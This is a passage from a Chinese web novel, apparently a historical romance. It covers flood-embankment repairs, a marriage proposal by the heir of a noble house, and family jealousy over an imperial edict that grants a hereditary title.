商晏竹面色沉重道:“寻常隐患大多是在表面,但这地桩不同,乃是早年修筑时,埋入地下用以加固、排水地空心巨木阵,年深日久,地桩腐朽中空,外覆泥土看似坚固,内里却早已被暗流掏空,形成地下暗合通道。平日无碍,一旦水位暴涨,压力剧增,这空洞便成致命弱点,极易从内部引发管涌,乃至整体塌陷。此处水色浑浊,极有可能是暗流带出内部腐朽泥渣之兆。” 平湖县令显然知晓自家门前堤坝下面埋了地桩,但听到此言后,还是惊出一身冷汗。 江昱心下一沉,他虽然不懂具体这地桩具体搭建工法,但也听明白了,这隐患如同堤坝脏腑内的“毒疮”,外表不显,发作起来却能致命。 商晏竹沉吟片刻,脱去外衫,吩咐道:“瑾弋,你拉着我,我下去看看。” “叔父!”江昱大惊,“何须你亲自下去?我派人下去,谢花儿——” 谢花儿面容整肃:“属下在。” “你” “他不行。”不待江昱说完,商晏竹抬手拦截。 第94章 商晏竹目光扫过众人, 最终落在江昱脸上,道:“这地桩结构复杂,我曾研究过这类工事, 知晓地桩有哪些排布讲究和关键衔接点,我下去, 比你们更能找准要害。” 说罢,他问向那名河工,道:“便是你, 久居堤坝, 可有把握下去一探究竟?” 河工垂下头,面露羞惭,“草民惭愧。” 江昱目光掠过河工,明白了商父的决心和专业考量。他不再劝阻,迅速安排下去:“准备长绳、铁钎、还有桐油浸泡过的火把!选两个最熟悉此处水下情况、胆大心细的,潜下去照应。” 商晏竹应他准备, 将绳索牢牢系在腰间, 准备下水时,又对他道:“若我以绳索连扯三下, 便是急需上拉,若是扯动缓慢,便是在探查,不必惊慌。” 说罢, 他口含一段空心芦管助呼吸, 手握一根尖锐铁钎, 由两名精悍河工左右护卫,缓缓没入浑浊冰凉的河水中。 岸上一片死寂,只有绳索缓缓放出的摩擦声, 以及河水拍岸的哗哗哗声。江昱手拉系在商父身上的缰绳,身形紧绷如拉满的弓,目光死死地锁在水面上,警惕绳索的动静。 时间过得很慢,河岸上灯火通明,忽然,绳索停止下放,随机开始一种缓慢且有规律的拉着,间或停顿。 “找到了,”平湖县令惊喜,“三老爷这时找到了地桩的位置。” 江昱面色凝重,越发仔细盯着绳索。约莫一盏茶时间过去,绳索猛地被连扯三下,急促有力。 “快拉。”平湖县令疾喝。 几乎是同时,江昱拉起缰绳,他身后众人立即齐声发力,迅速将三人拉出水面。 商晏竹被拉上岸时,面色发白,嘴唇乌紫,呛出几口水后,展开掌心。 他手中紧紧抓着一截乌黑朽烂、沾满粘滑淤泥的木头,木头内腔凹空处,还堵着些碎石杂草。 “果然,咳咳”商晏竹喘息稍定,指着水下,道:“横向三排,纵向延申约十丈,与旧档记载的‘潜蛟阵’吻合,中间樟木多半已经朽穿,与河床底部沙石已有贯通迹象,形成暗流通道。除此之外,东侧衔接堤坝夯土处也有松动。” 众人闻言,倒吸一口凉气。这隐患远比表面看到的凶险。 平湖县令一下子瘫坐在地上,道:“天要亡我,天要亡我啊。” 江昱倏地盯向他,吩咐道:“谢花儿,大人神志不清,胡言乱语,给我打他两耳刮子,清醒清醒。” 谢花儿二话不说,上前一步,左右开弓,仅仅三巴掌,就打落了平湖县令一个牙齿,半边腮帮瞬间红肿。 平湖县令被打懵了,醒过神来爬到江昱面前跪地求饶:“大人饶命,去年河堤改道,经费不足,本来说好的,今年就重修此路,可是年初时下官上书催促,四月也是连上三道,奏疏却全部被驳回,下官这也是无计可施啊。” 如此,此人却更加留不得了,江昱挥了挥手,谢花儿立刻堵了平湖县令的嘴,派人将他羁押下去,剩余县丞主簿等人面白如纸,抖如筛糠。 江昱倒是肯给他们一个戴罪立功的机会,只要让他们在一日之内想出解决困境的办法,几人忙不迭地回去寻找被遗忘的坝公。商晏竹体力不支,昏倒过去,江昱吩咐谢花儿将他送回城中医馆救治。 入夜前,商凝言回到家中,才将父亲前往平湖的消息告诉了家人,田氏心头一紧,忙问:“情况严重吗?怎么还需要从我们这里调人?” 商凝言面色平和,道:“阿娘放心,就是去帮个忙,江世子派了驻军过去,不会有事的。” 田氏听闻有军队过去,稍稍放了心,忽然,又担忧起来:“你阿爹一个人走的?这么晚了,他肯定不回来歇息,他这一整天都泡在水里,夜里肯定又要犯腿疼,不行,我得赶紧去一趟。” 在场的一双儿女自然不允,商凝言皱起眉头道:“我去,阿娘你在家歇着。” 田氏犹豫,却也没有更好的办法:“好,那你路上小心些。” 商凝语送商凝言出门,叮嘱道:“有任何消息,记得传回来,不要隐瞒。” 商凝言走到马前,拉住缰绳,冷嗤:“你倒是知道担忧了。” 商凝语连忙认错:“是是是,你就是记恨一辈子,我都认,就是别以牙还牙。” 商凝言不理她,翻身上马,夹紧马腹,绝驰千里。 当夜,商凝语赖在主院陪着田氏睡,夜里,她睡得正酣,突然,只听田氏惊呼一声,惊座而起。 商凝语吓了一跳,安抚两声,忙下床点燃了油灯,并倒了一杯热水过来,田氏惊魂未定,心口剧烈起伏,就着商凝语的手喝了一口水,方才镇定了些许。 “阿娘是不是梦见阿爹了?”商凝语坐在床沿,轻抚着田氏的背,问。 田氏一阵心悸,道:“我梦见你爹昏迷过去,你哥怎么叫都叫不醒他。” “外祖母不是经常说,梦是反着来的吗?”商凝语宽慰,扶着她躺下,道:“你肯定是白天听哥哥说完吓着了,明日哥哥回来,我们就能知道那边情况如何了,放心吧,不会有事的。” 田氏情绪稍稳,母女两头对头靠着,田氏感叹道:“你就忘了陆霁吧,这县官不好当,阿娘固然能帮衬到你阿爹,日子过得倒也算美满,可阿娘不希望你跟阿娘一样,日日提心吊胆。” 商凝语情绪不高,但她得安抚好此刻心绪不定的母亲,幽幽道:“不想忘也得忘啊,人家马上就是驸马了呢,当朝第一长公主的驸马,我哪里还敢肖想?” 田氏轻笑,“这么说,我女儿眼光真好,和当朝长公主相中了同一个男人。” “嗯。”短促地一声,尾音上吊,尽显自傲。 田氏忽然问道:“那夏文钦呢?” “嗯?”商凝语莫名。 “你年纪不小了,夏公子一直喜欢你,今日,夏夫人身边的嬷嬷前来跟我打探你的亲事,我瞧着,也是中意你,要不,趁着你爹回来,就将这事给定下?” “这也太快了。”商凝语惊呼,“阿爹答应让我缓些时日,您别这么着急行吗?况且,四姐姐都还没有成亲呢,我要在四姐姐之后。” “胡说。”田氏训斥,“你四姐姐的婚事自然是由国公府准备了,而且她现在是国公府的女儿,你哪能跟她序齿?” “那也不行,夏文钦文不成武不就,是个实打实的纨绔,我若是成日游手好闲只居在内宅,倒也无所谓,可是,有霁哥哥珠玉在前,这种人我现在真没法和他生活。” “那怎么办?你要是人人都拿作和陆霁比较,这还怎么嫁人?难不成,你想一辈子留在家里?” “哎呀,商凝言都不嫌弃,你嫌弃我?” “哼,你没看你大嫂和三嫂都嫌弃你吗?” “怎会?大嫂三嫂不是那样的人。” “人心隔肚皮,以前是以为你能嫁陆霁,才能慢慢等,你看往后她们还能不能允许你等。” 田氏越说越气愤,商凝语连忙告饶,答应她,回头若是夏夫人邀请她上门做客,就去看看。田氏这些歇了火气,渐渐地,入了睡。 翌日,商凝语去义庄,转去后厨,就见几名妇孺正在院子里洗菜,几个红木大盆摆在院子里,圆脸身胖的妇人单手各拎一桶水,倒进盆里,其余妇人边洗菜,边谈论平湖洪灾,聊得热火朝天。 商凝语听了一耳朵,神色凝重,不远处的妇人见到她,扬起笑脸道:“七娘子被担心,你爹已经醒过来了,我家男人今早赶回来,还说离开江岸时见到三老爷又去了河堤上呢。” 这几个妇孺的丈夫均在昨天跟着江昱去了平湖,有点风声就传了回来。 商凝语木着脸点了点头,进到屋里将今日做菜送饭的事安排一下,叮嘱几句,而后折返回商家,询问商凝言有没有派人送消息回来。 门房说有,只有两个字:已安。 她心下一沉,叮嘱点翠照看好家里,就在城里租了一辆骡子,去了平湖。 在平湖堤坝上,商凝言没有找到商家父子二人,寻人打听,找到了他们在医馆的落脚点。 彼时,江昱正和众人聚在医馆的露天后院,商议解决暗流之法,商晏竹聚精会神凝听,屋门敞开,药童说“大人不准任何人打扰”,她便没有进去,而是立在屋内,掀开门帘一角,看着院中侃侃而谈的人。 今日难得出了半日晴光,暖黄色的光晕在众人身上镀了一层金边,而江昱,面容已有些许狼狈,身上衣衫不似平日整洁,却依然鹤立鸡群般让人一眼注意到他。 商凝语听了些许,明白了他们正在为何事发愁,掀开布帘,走了出去。 “我有办法。” 商晏竹抬头见到是她,惊怒:“你怎么来了?” 商凝语横扫了一眼商凝言,商凝言蹙眉,道:“我不是派人说,已经没事了?” 商凝语也不搭理他了,好声回答父亲的话,道:“我在家听说了你们遇到的问题,想到了解决的办法,所以过来了。” 江昱眼眸明亮,道:“不知七娘子有何妙计?” 第95章 县丞和主簿闻言, 恭恭敬敬地起身,商凝语来到众人面前,伸出纤长手指, 指在他们正在使用的河堤舆图上。 “地桩损毁,可以‘因势利导’, 第一,在朽坏最甚的上游位置,打下三重木桩, 暂且阻断暗流对堤坝主体的冲刷。第二, 在地桩左右两侧开挖‘截渗沟’,降低地下水位,减轻内部压力。第三,”她手指重重一点,“最关键,待水势稍稳, 需在阵中关键节点采用‘灌浆之法’。” “灌浆?”江昱轻问。 商凝言掀起眼皮, 解释道:“并非寻常泥浆,而是用石灰、粘土, 混合糯米汁液,调成浓稠浆液,用长杆导管,从地面钻孔, 直接灌入地桩空洞以及周围疏松土层。” “妙哉, 此法思虑周全, 就是不知要用多少材料?”有河工担忧。 但亦有人赞同,“石灰和粘土易得,只是这糯米, 恐怕不多,不过,若能借此试点,一劳永逸,产出祸根,将来沿江河堤全都沿用此法,倒是个造福千秋的上等佳策,大可一试。” 商晏竹沉吟点头,赞许了这种办法,“浆液用温水调制,初始是流体,可以填充每一处缝隙,随后逐渐凝结,坚如磐石,既能堵死暗流通道,又能重新稳固堤坝根基。虽费时费料,但理应能根除隐患。” 县丞大喜,眼睛精光闪动,“三老爷不仅胆识过人,而且培养的一双儿女,聪慧非凡,心思缜密。请大人放心,下官这就去调拨人手,开挖截渗沟,所需石灰和糯米,由县库立即调拨,不足部分,城中商户亦可筹措,我等定竭尽全力,将此事办妥。” 江昱颔首,语气温和道:“再召集坝公,一起商议,若有不妥之处,尽快报上来,大家集思广益,总能一起解决问题。” 主簿很是松了口气,连忙拱手应承。 安排好一切,江昱起身,对商晏竹道:“叔父现下感觉如何?我让人送你回去,可否?” 商晏竹扫了眼女儿,点了点头,道:“地桩之事,言儿也了解一些,叫他留下看着点。” “多谢叔父。”江昱面不改色,当即招来属下,用马车送二人回宜城。 待目送了二人回去,江昱带着商凝言也回往堤坝上。 二人并列向前,双双静默,江昱双手背在身后,手指无意识地敲打着手背。 沉吟许久,就在他考虑好了开场白,商凝言忽然率先开口。 他说:“你的学识,比不上陆兄。” 江昱眉头一挑。 商凝言道,“解救地桩的法子,是陆兄多年前想出来的。” 江昱眼眸微眯,静等他下文。 商凝言了然,道:“看来,你知道我妹妹这些年在干什么。” 江昱:“知道,她内读工书,烹茶赏花,外学掌事,统筹协调,全面发展,力图做个完人。” 商凝言神色一直很平静,闻言,露出一丝惋惜,“是,当初,她想效仿我爹娘,所以,什么都学,只想将来做个乡下贤内助。” 江昱若有所思。 商凝言忽然驻足,站在空无一人的街头,发问:“但是,勇毅侯府应该不需要这样的世子夫人,若我阿爹将她许配给你,你让她怎么做这个夫人?” 这个问题显然不好投机取巧,主要是,这位兄长从未对孪生妹妹的婚事流露出任何意见,拿捏不准他这番话的意思,到底是对商凝语如此为未婚夫婿尽心尽力感到不满,还是赞同? 是欣赏,还是,心疼? 一场来自亲长的拷问,猝不及防地降临在江昱身上,让他不得不认真,开始仔细掂量这场谈话。 江昱沉吟片刻,道:“她不需要我‘让’,她可以随心所欲,想莳花弄草也可,想为民请命也可,我都随她,若是她也想帮我,不是不可以,只要不涉及朝廷机密,我可以知无不言。” “侯府乃是大族,听闻宗妇要求严苛。”商凝言试探。 江昱轻轻笑了,“府里有管事嬷嬷,我娘闲散了一辈子,还没有哪个族人能说到我娘的头上去。我的宗妇,只要我肯护着,我娘就会护着,就没人敢欺负她。” 一席话,打散了少年兄长心头最后一点疑虑,但他面上仍要端着,为自家幼妹矜持着。 不知,他此话有几分可信。 江昱低头,愉悦地抿唇轻笑,道:“我也有一个问题,想要请问。” 商凝言立刻正色:“你说。” 江昱以拳抵唇,轻咳一声,道:“你与她同岁,若她夫婿比你大,难道也要唤你兄长不成?” 少年兄长耳朵微红,面上却道:“这是自然,礼法不可废弛,无论是谁,娶了我妹妹,自然都要唤我一声兄长。” 江昱双手交叠,拱手作揖,恭恭敬敬行了个同辈礼:“是,多谢兄长提醒。” 商凝言浑身僵硬半天,训斥道:“我这婚事不是我说了算,还要我爹娘答应,你别乱叫。” “是是是,还望兄长在叔父叔母面前多替我美言几句。”要不说江昱有当纨绔的本质,立刻打蛇上棍,一改多日来端着的姿态,揽过商凝言的肩膀,道:“兄长,眼下商家危难解除,你可以放心参加科考,三年后,妹婿在京都为你办曲江宴。” 商凝言讷讷,上扬的嘴角压了又压,终是没压住,却又忘了反驳,真真丢盔弃甲- 数日后,平湖抗洪进展顺利,在这过程中,县丞立下大功,江昱令他暂且主管平湖事宜,而后,离开平湖,沿江一路巡查下去。 再见江昱,已经是九月,洪水退去,山野间,枫林尽染,如火如荼。 京都对沿江两岸治水有方的官员全部给了嘉奖,夏长东升了官职,担任徽州知府,统辖包括宜城、平湖在内一共六个县,即刻上任。 临走前,夏家邀请商家上门做客。 商凝语信守承诺,一番郑重打扮后,来到前院。 而主院这边,贺氏和方氏不约而同地提前出现在花厅门前,二人对视一眼,俱在对方眼中看到了自己的意思,立时心照不宣地携手进屋。 到了屋内,二人合作无间,一左一右,夹持在田氏身边,暗示这场宴会的深意。 “夏公子一表人才,甘心等了咱们家姑娘好几年,可见也是个重情重义的。” “难得的是,夏家两位长辈宽慈仁厚,呦呦嫁过去,必然不会遭受苛待。” “夏大人升官,门庭高涨,这夏夫人依旧不改初衷,可见是个厚道人家,弟妹可得把握好机会。” 田氏本就忐忑,担心夏夫人今日并无此意,此刻听了妯娌的话,顿时放了心,一口应承下来。 “不过,也不能一口就答应,呦呦即便是高嫁,也要三顾茅庐,风风光光地嫁过去。”田氏提醒。 “这是自然,无论嫁给谁,都不能委屈了我们商家的小娘子。” 商凝语这厢坐在堂屋里等着,三位夫人没出来,奇怪的是,其他男丁也都没现身,她坐着无聊,眼见太阳晒过了屁股,吩咐一声,叫点翠去后院催一催。 就在这时,门房突然跑了进来,喘着气,道:“七娘子,有人上门提亲来了。” 商凝语微惊,起身追了出去,方走到门外,就见江昱绕过垂花门,走了进来,一身紫袍,犹如天降,乍然现身,招呼着身后人将数十个箱笼抬了进来。 “来,让一让。”江昱如在自家一般,推开商凝语,指着当前一处空地,道:“将东西放在这里。” 一眨眼的功夫,原本空空荡荡的堂屋和庭院,堆满了扎着红绸的箱笼,一只大雁被拴着腿,在院子里蹦跶。 商凝语被挤压在一个方寸之地,半点不能挪动,只能对江昱干瞪眼。 心跳如雷。 “世子,都放置好了。” “不错,全都退下。”江昱挥手。 办好了这一切,他转过身来,才有功夫仔细打量她。 小娘子今日在头上插了一根簪子,正是他曾经捡到的那支碧玉簪,玉身青翠,衬得她如枝头露珠,清丽脱俗。 显然是精心打扮过的,至于为何,他自然一清二楚,不过,无论是出于什么原因打扮的,但最后,都终将是为了他。 江昱负手上前,道:“真巧,我提亲,提到了本人面前。” 商凝语见家中迟迟无人出现,信他才有鬼,“你几时说服我阿爹阿娘的?” 江昱扬起嘴角,轻轻一笑:“叔父可比你清醒多了,叔母倒是还没有消息,不过我相信,精诚所至,叔母一定会答应这门亲事的。” 商凝语沉默不语,心中忍不住开始泛起了愁。 一见她这样,江昱就知道她心里在想什么,收了笑,正色道:“事已至此,你究竟有什么顾虑,大可与我说清楚。须知,有效沟通,解决事情,方是夫妻和睦的正确相处之道。” 商凝语松了心防,但到底难以启齿,双唇翕张,又咬紧了唇肉。 江昱并不催促,只殷切地看着她。 二人之间仅有两步之遥,前进,是商凝语唯一的方向。 须臾,她垂首,低声道:“我做不好你的妻子。” 她却没看到,在听到这句话,江昱眼中霎那绽放的火焰,炙热的光芒点亮了他整个眼底—— 作者有话说:泪目,我终于写到这里了[烟花][烟花] 第96章 江昱盯着商凝语, 说:“你以为,我的妻子需要做哪些?” 商凝语说:“对内主持中馈,侍奉公婆, 相夫教子,对外待人接物, 结交同僚夫人,助你在朝堂上讯息通达,无后顾之忧。” 她说起来如数家珍, 信手拈来, 仿佛这个问题早在心头总结过。 江昱轻笑,越笑越激动,双肩耸动,最后,低头弯腰大笑起来。 商凝语知道他笑甚,面上禁不住泛红, 撇开脸去。 江昱笑得眼里冒出了泪花, 好不容易止了笑,一伸手, 捏了捏她粉若桃花的面颊,道:“尽瞎操心,你独自琢磨这些,怎么不先问问我的意思?” 问了又如何?习艺馆中对高门望族的宗妇要求都是一个标准, 难道还能有不同的答案? 商凝语面色镇定, 心尖无可抑制地跳动起来。 江昱收了笑, 正色道:“我爹娘一直希望我能做个闲散世子,可惜,我生来就不是这块料, 不过这些年我也尝到了一点闲云野鹤的滋味,你若是愿意,就继续替我享受这份乐趣。” 商凝语无语,尚未从这世上竟有如此独特的父母中回神,就被他这话语里这种“谁叫我天生就是文武全才,必须得为国效力”的狂妄自傲给惊着了。 随后又见他趋近上前一步,狎昵道:“你若是不愿意,想学任何东西,都可以来寻我,我也乐意随你——红袖添香。” 商凝语哭笑不得,扶着额头再三思索,以为自己犯了头晕症,良久,匪夷所思地问:“你究竟看上我什么了?你的这个要求,京都应该一大把女娘可以为你做。” 你别是一时新奇,耽误我! 江昱:“这不一样,我要的是,这些事必须是你来做,其他女娘与我何干?至于为何非得是你,我问你一个问题,若我是个货真价实的纨绔,今日强娶,你不得不嫁给我,将来,你预备如何?” 商凝语可没那么多顾忌,凝眉思考片刻,道:“你是纨绔?如果只是不学无术,吃喝玩乐,倒也无所谓,我就跟着你吃喝玩乐;如果你为非作歹,还做天怒人怨的事,那就对不住,你走你的阳光道,我过我的独木桥,我自有法子过好我的日子,你我从此井水不犯河水。” “我便是喜欢你这样,万事预谋在心的样子。”江昱斩钉截铁,道。 商凝语微微一愣。 江昱故作一叹,“我初次见你,以为你与京都所有女娘一样,趋炎附势,虚荣浅薄,而你家姐,我也不隐瞒,我与你姐统共说过的话都不超过这个数。” 他伸出一个手掌,继续道:“我并非高看令姐,实乃我自信,兄长看中的人,必非池中物。但后来,我发现你格外好学,且精益求精,心无旁骛,我才对你有了改观。” “商凝语,我并非对你心存偏见,若论一见钟情,并非只你一个,只是我以为,当年在艺馆梅林,踏雪问路,那才是我真正见到你的第一面。” 商凝语大惊,突如其来的“一见钟情”让她的面颊瞬间升温,继而惊慌失措,眼神都不知该往哪里放才好。 谁知,江昱越说越上瘾,将她的羞涩尽收眼底后,继续道:“这几年,我东征西跑,经常想起你,有时格外记恨你当初抛弃我,有时,又只要想起你可能也和我一样,正在努力做自己喜欢的事,就很安心。” “有妻如此夫复何求?你不需要再做什么,你只要成为我的夫人,就是我的支柱。” “商凝语,我马上就要回京了,你愿不愿意,和我一起?我保证,将来一定尊重你,敬重你,与你做一对鸾凤和鸣的夫妻。” 商凝语现在什么芥蒂也没了,只有满腹羞恼,不过,她很快意识到,这是神圣不容退却的时刻,她敛起心神,大胆地回视着江昱,从喉咙处发出一道羞怯却又不失坚定的声音,“嗯。” 天外祥云飘过,院内大雁引吭高歌。 笑意一点点在江昱清冷的眼眸里晕染,如朝霞漫天,如山海咆哮。 如一记重拳,击在商凝语的心头。 她凝望着他眼底乍然绽放的光芒,一时怔住。 原来,有的爱,这般炙热、狂烈。 “咳咳——” 庭院中有人负手咳嗽,打破屋内的温馨甜蜜,正是迟迟不现身的商晏竹父子二人。 商凝言难得露出笑脸,道:“呦呦,阿娘找你,快去后院。” 商凝语推开江昱,落荒而逃,逃走时,将商凝言一并给拉走了。 到了后院,瞪着眼逼问:“商凝言,你够了啊,出卖我。” 商凝言抿嘴笑:“你若不怪我,以前的事,一笔勾销。” “真的?”商凝语瞬间窃喜。 “嗯。” “好,一言为定。” 前院,江昱朝商晏竹深深拜下一揖:“叔父,晚辈今日来提亲,求娶七娘子,还请叔父成全。” 商晏竹横扫庭院数十台箱笼,单手背在身后,一手抚弄胡须,道:“自古婚约都是父母之命,媒妁之言,你就这么来了?”说着,便朝屋内走去,坐在主位上。 自从陆霁这个准女婿没了之后,商晏竹巡查四周,也就觉得唯剩江昱,颇能入得了眼。 因此,得了儿子邀请后,他不动声色地,在后院下了一个时辰的棋。 江昱亦步亦趋跟在身后,道:“媒人此刻正在客屋,只等叔父允她进来。至于我父母,叔父放心,绝不会委屈七娘子,离京前,我母亲就叮嘱,一定要等七娘子点头,万不可以势压人,原是待七娘子点头,我母亲立即前来宜城,可事与愿违,亦是晚辈办事不顺,七娘子迟迟不应,直至眼下,事急从权,晚辈才不得不自作主张先行登门。至于我父亲,不瞒叔父,自从您向岭南送去书信,我父亲就已经着手准备来宜城了,只是路上耽搁,误了些日子,想来还要再等几日。” 商晏竹心中微惊,面上却岿然不动,道:“这,路途遥远,怎好让侯爷和长公主长途奔波?” 江昱立即道:“这是应该的,我是家中独子,便是远在天边,我父母也应该亲自登门求亲。” 商晏竹心中熨帖了,当即命人去将夫人请出来。 与此同时,一位小厮火烧屁股似的跑进夏家,一路呼哧呼哧直喘气,“夫人,夫人,不好了。” “去你的乌鸦嘴,公子大喜日子,你说什么丧气话?”夏文钦勒着小厮的脖子,将人怂在地上怒斥。 “不是的,公子,勇毅侯世子,去向商家登门提亲了。” “谁?你说谁?” “勇毅侯世子,江世子。” 夏文钦踉跄一步,往后一退,携手赶至厅前的夏家夫妇对望一眼,眼里都流露出了震惊。 “怎么会这样?江世子怎会” 夏长东抬手,制止了夏夫人未尽之语,思索片刻,沉吟道:“倒不是无迹可寻,我早就怀疑这江世子来宜城,醉翁之意不在酒,没想到,竟在于此。” 夏长东陡然抬头,指着夏文钦,吩咐下去:“来人,将公子给我捆起来,离开宜城之前,不允许他出府半步。” 夏文钦溜走的脚步戛然而止,暴怒:“凭什么?爹,我是你儿子,你也去提亲,他是世子,他就能抢夺人妻吗?” 夏夫人朝侍从使了个眼色,几名家丁对视几眼,一拥而上,眨眼功夫,就将夏文钦捆成了粽子,夏夫人挥了挥手,转身追上夏长东。 “文钦一片赤诚,从未加害商七娘子,老爷不必担心他坏了商七娘子的名声,让江世子记恨。” 夏长东叹道:“我不是担心这个,我是想起来,平湖抗洪中,商晏竹立下的功劳,我的升职令都已经传下来,这商家竟半点消息也无。若说商家曾在京都犯下大错,令当今圣上不喜,你或可信,但江昱乃是圣上身边近臣,说他违逆圣意要娶逆臣之女,你能信吗?” 夏夫人不懂朝堂,但丈夫言简意赅,她瞬间听明白了,不由担忧起来:“那这,圣上究竟何意?老爷你一直欣赏三老爷,厚待商家,不会遭到圣上牵连吧?” “何意不知。”夏长东摇头,“若有牵连,也就不会升职了。我猜,商家定有旨意在后头。” 他提醒道:“你儿子先前仗势欺人,没少在商家门前显摆,还不知道有没有遭人记恨,好在江世子来得及时,今日商家还未登门。你速派人前去道贺,将今日宴请推迟到明日。” 夏夫人闻言,立刻派人前去。 商家这边,田氏得了消息,整个人如上云霄,头晕目眩,贺方二人率先回神,转头恭贺田氏。 原来,今晨一早,待贺方二人走进主院,商凝言就派人将院子落了锁,直待尘埃落定,方才过去开了门。 卞玉娘和柳青梅早已在门前恭候多时,第一时间将消息告诉了自家婆母。 一时间,商家炸了锅,深夜里,主院后屋,田氏多年来第一次拧着丈夫的耳朵,询问怎么回事,一向能言善辩的商三老爷,第一次甩锅出去。 “明日去问你儿子去。” 翌日,田氏不少问。 然则,过了几日,京都传来圣旨,商家又一次炸锅,众人不禁猜测,商六小公子,此番作为,究竟为了谁。 第97章 秋风扫落叶, 一辆马车离开皇城,从京都南城门向南出发,车撵中人眉须发白, 身着宫廷内侍服,手持一长形包裹, 显然,此行是担了重差。 半月后,车撵抵达商家门前, 商家众人闻风而动, 焚香敬请,在前院恭候。 白面内侍笑呵呵地展开手中包裹,露出里面的明黄圣旨,开始宣读。 “天道福善,昭彰厥功,人道酬勤, 克彰其德。兹商三公, 讳晏竹,秉性忠勤, 器识宏远,今岁江河横溢,黎庶罹灾,尔能身先士卒, 亲率乡勇, 固堤防于风雨, 夙夜匪懈,智勇兼资朕心甚悦,忠勤伯商家, 世笃忠贞,累代勤恪,今既嫡脉有继,功勋尤显,经礼部奏议,朕特旨示下: 其一,今立商六郎商凝言为忠勤伯世子,待金榜题名,赐诰券,世袭三代,以续勋庸。尔当念天恩之渥,勤学加冕,绍先祖之烈,修得慎行,毋忝厥位。 其二,商三公商晏竹,既彰循吏之才,宜挑亲民之任,即授宜城县令之职,赐七品文林郎衔,专司百里,勤课农桑” 贺氏听完,两眼一翻,晕厥过去,方氏眼疾手快,和卞玉娘一左一右架住贺氏,于前方众人贺喜中,悄然退去。 田氏喜不自胜,抱着商凝言热泪盈眶,“言儿,你是世子了,圣上将世子头衔给你了,我的儿,我的天爷,我竟然是世子的母亲了。” 商凝言颔首,矜持的脸庞亦是难掩激动。 商凝语若有所思,不明白圣上这是何意。 “好了好了,先不要高兴得太早,没听旨意上说,要他金榜题名了,方可承袭?”虽是如此说着,商晏竹脸上可没有多少忧色,而是克制了家主的骄傲,不忘对妻儿叮嘱。 田氏可没这么多的顾忌,没好气地横了丈夫一眼,道:“言儿金榜题名不过是年岁的问题,这爵位就是板上钉钉的事。” 与此同时,贺氏悠悠醒过来,看了眼面前的弟妹,眸光微闪,道:“我这是太高兴了,没想到,圣上还替我们家留着爵位,让二弟妹见笑。” 方氏掩了神色,拍了拍她的手,宽慰道:“大嫂乃是性情中人,我明白,好了,既然大嫂已经醒过来,也就没我的事了,我先回去,晌午三叔定要宴请内官,我去给三弟妹搭把手。” 说着,拉着柳青梅离开了东园。 待人一走,贺氏拽碎了褥面上的绣花,眼里喷射出深深愤意,咬牙道:“老爷舍身取义,竟为他人做嫁衣,可恨,可恨,枉我如此信任他们,他们竟然背着我们夺爵。” 卞玉娘秀眉微蹙,疑惑出声:“我们在宜城,圣上旨意来得突然,三叔父或许并不知圣上传旨。” “胡说,他人脉极广,疏通关系打探一点消息轻而易举,只怕他早就得了消息,只是担心我们从中作梗所以按捺不宣。”贺氏气急,一巴掌打在儿媳的脸上,怒斥道,“你竟然还为他们说话,你可知道,他们夺去的是谁的爵位?是你夫君的!你可真是大方,这么好的爵位,世袭三代,连带敏哥儿下半辈子的依靠都有了,你就这么送给他们。” 这是嫁进商家以来,卞玉娘第一次遭到婆母的面斥,即便当初公公自杀,婆母也是挺着脊梁,告诉他们,将来一切要以三叔父为尊,她忍了泪,默默低下头去。 商承柏虽平庸,却心疼自己媳妇,见状,将卞玉娘拉至身后,坐到床前,道:“您别生气,这爵位本来就是三叔父挣回来的,即便不是给六弟,那也是给三叔父。而今三叔父能留在宜城,对我们大家都好,圣上还是顾念祖父和父亲的,给我们两房留了一条后路。” 商仲扬也赞同道:“如果三叔父直接袭爵,难道要我们再回到京都,在圣上眼皮子地下晃?娘,你别忘了祖父和父亲是因何自杀的,这爵位要么没有,要么只能搁在三房,能留给六弟,对我们大家都好,您就别异想天开了。” 贺氏气得将枕头砸到他身上,大骂着叫他“滚”,商仲扬本就混不吝,掉头就走,气得贺氏又是一阵头脑发晕,商承柏和卞玉娘哄了好一番方才叫其歇了火气。 半炷香后,夫妻二人携手回到自家小院,卞玉娘倒了两盏茶水,送给商承柏,而后挥退侍女,近前坐下,询问:“夫君今日所言,当真?” 商承柏微微诧异,须臾,轻叹一声,苦笑:“若说一点心动都没有是不可能的,但我心里明白,这爵位不是靠我们拿回来的,靠的是三叔父十多年的声望,和这次治理洪灾的功劳。” 卞玉娘看着夫君脸上的不甘,缓缓道:“我能理解娘的心思,娘就是嫉妒,人都是不患寡而患不均,若没有爵位倒也还好,若有爵位,看得着吃不着,膈应得慌。我倒是有个法子,让三房没了这爵位,不知夫君可愿一试?” “什么法子?”商承柏心动一问。 卞玉娘倾身过去,附在他耳边低声数语。 商承柏大吃一惊,震惊地看着自己的妻子,眼里尽是不可置信,倏地道:“不行,这个办法绝对不行,一旦事情败露,国公府第一个不放过我们。” “你怎会有这种想法?玉娘,你听我的,将这种想法抛弃掉,以后提都不要提,你想想,我们还有敏哥儿,我们要为敏哥儿的未来考虑,即便不能大富大贵,但以我的能力,总能让他衣食无忧,一辈子平平安安。” 眼见夫君一脸急色,卞玉娘脸上阴险褪去,浮上一丝笑意,道:“好,就听夫君的,我以后再也不提此事。” 商承柏这才松了口气,揽她入怀,轻声道:“三叔父仁善厚道,我们跟着他,定能立下些许功劳,等敏哥儿将来长大,圣上念在我们安分守己的份上,就能给他一个争取功名的机会。” “是。”卞玉娘眼眶湿润,哽咽应声。 夫妻二人又说了几句,商承柏因外院还有事,离开了后院,贴身侍女用雕花铜盆端了一盆温水进来,服侍卞玉娘净面。 侍女乃是卞玉娘的陪嫁,自幼一起长大,对自家娘子的性情十分了解,先前也是躲在门外偷听了一些。 侍女悄声询问:“娘子一向帮衬三房二位娘子,何故要做那恶人,吓唬大爷?” 卞玉娘轻笑,莹白的面上挂上一丝讥讽,“我若不先下手,回头叫人捷足先登,在相公耳边吹风,那该如何是好?” 侍女恍然大悟。 卞玉娘用湿巾擦拭脸上泪痕,道:“婆母外强中干,素日瞧着精明,今日却还不如二婶转得快,这旨意已下,岂容你闹腾?你越是不甘,只会将三叔父三叔母推得越远,不如大大方方地接受,让三叔父对我们产生愧疚。” “我们这一房得罪的是圣上,只有将来圣上不计前嫌,敏哥儿才能有机会翻盘,想要翻盘,自然只能倚靠三叔父。” “是,还好大爷和娘子一条心,没想那些乱七八糟的。” 